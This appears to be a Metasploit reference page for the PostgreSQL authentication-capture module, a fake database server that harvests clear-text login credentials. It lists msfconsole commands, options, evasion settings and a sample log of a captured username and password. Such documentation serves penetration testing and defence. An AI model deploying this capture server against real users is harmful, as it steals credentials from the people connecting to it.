Authentication Capture: PostgreSQL - Metasploit


This page contains detailed information about how to use the auxiliary/server/capture/postgresql metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Authentication Capture: PostgreSQL
Module: auxiliary/server/capture/postgresql
Source code: modules/auxiliary/server/capture/postgresql.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module provides a fake PostgreSQL service that is designed to capture clear-text authentication credentials.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/server/capture/postgresql
msf auxiliary(postgresql) > show targets
    ... a list of targets ...
msf auxiliary(postgresql) > set TARGET target-id
msf auxiliary(postgresql) > show options
    ... show and set options ...
msf auxiliary(postgresql) > exploit

Knowledge Base

This module creates a mock PostgreSQL server which accepts credentials. Upon receiving a login attempt, a FATAL: password authentication failed for user error is thrown.

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/server/capture/postgresql
  3. Do: run

Options

SSL

Boolean if SSL should be used. Default is False.

SSLCert

File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically generated. Default is null.

Scenarios

PostgreSQL Server and psql Client

Server:

msf5 > use auxiliary/server/capture/postgresql 
msf5 auxiliary(server/capture/postgresql) > run
[*] Auxiliary module running as background job 0.

[*] Started service listener on 0.0.0.0:5432 
[*] Server started.
[+] PostgreSQL LOGIN 127.0.0.1:49882 msf / pwn_all_da_tings / msf

Client:

root@kali:~# psql -U msf -h 127.0.0.1
Password for user msf: 
psql: FATAL:  password authentication failed for user "msf"

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Msfconsole Usage

Here is how the server/capture/postgresql auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/capture/postgresql

msf6 auxiliary(server/capture/postgresql) > show info

       Name: Authentication Capture: PostgreSQL
     Module: auxiliary/server/capture/postgresql
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Dhiru Kholia <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Capture  Run PostgreSQL capture server

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  5432             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Description:
  This module provides a fake PostgreSQL service that is designed to 
  capture clear-text authentication credentials.

Module Options

This is a complete list of options available in the server/capture/postgresql auxiliary module:

msf6 auxiliary(server/capture/postgresql) > show options

Module options (auxiliary/server/capture/postgresql):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  5432             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

   Name     Description
   ----     -----------
   Capture  Run PostgreSQL capture server

Advanced Options

Here is a complete list of advanced options supported by the server/capture/postgresql auxiliary module:

msf6 auxiliary(server/capture/postgresql) > show advanced

Module advanced options (auxiliary/server/capture/postgresql):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the server/capture/postgresql module can do:

msf6 auxiliary(server/capture/postgresql) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Capture  Run PostgreSQL capture server

Evasion Options

Here is the full list of possible evasion options supported by the server/capture/postgresql auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/capture/postgresql) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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See Also

Check also the following modules related to this module:

Authors

Dhiru Kholia <dhiru[at]openwall.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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